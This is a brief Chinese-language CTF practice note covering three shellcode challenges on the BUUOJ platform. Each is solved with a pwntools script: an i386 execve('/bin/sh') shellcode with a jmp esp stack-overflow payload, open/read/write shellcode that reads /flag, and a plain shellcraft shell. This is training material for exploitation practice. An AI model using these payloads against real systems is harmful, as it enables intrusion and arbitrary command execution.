shellcode例题

一直不是很会的一个点

# b0verfl0w

自己构造一下汇编指令

#coding=utf-8
from pwn import *
context.arch='i386'
p=remote("node3.buuoj.cn","29624")

shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"

gad_get = '''
sub esp,0x28;
call esp
'''
gad_get = asm(gad_get)
jmp_esp=0x08048504
payload=shellcode.ljust(0x20,"\x00")+"bbbb"+p32(jmp_esp)+gad_get

p.sendlineafter("your name?",payload)

p.interactive()

# orw

open read write shellcode

from pwn import *

p = remote('node3.buuoj.cn',25346)

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3,'esp',100)
shellcode += shellcraft.write(1,'esp',100)

shellcode = asm(shellcode)

p.recvuntil('shellcode:')
p.send(shellcode)


p.interactive()

# PicoCTF_2018_shellcode

程序自己直接会执行输入的 shellcode

from pwn import *

p=remote('node3.buuoj.cn',28126)

p.sendline(asm(shellcraft.sh()))
p.interactive()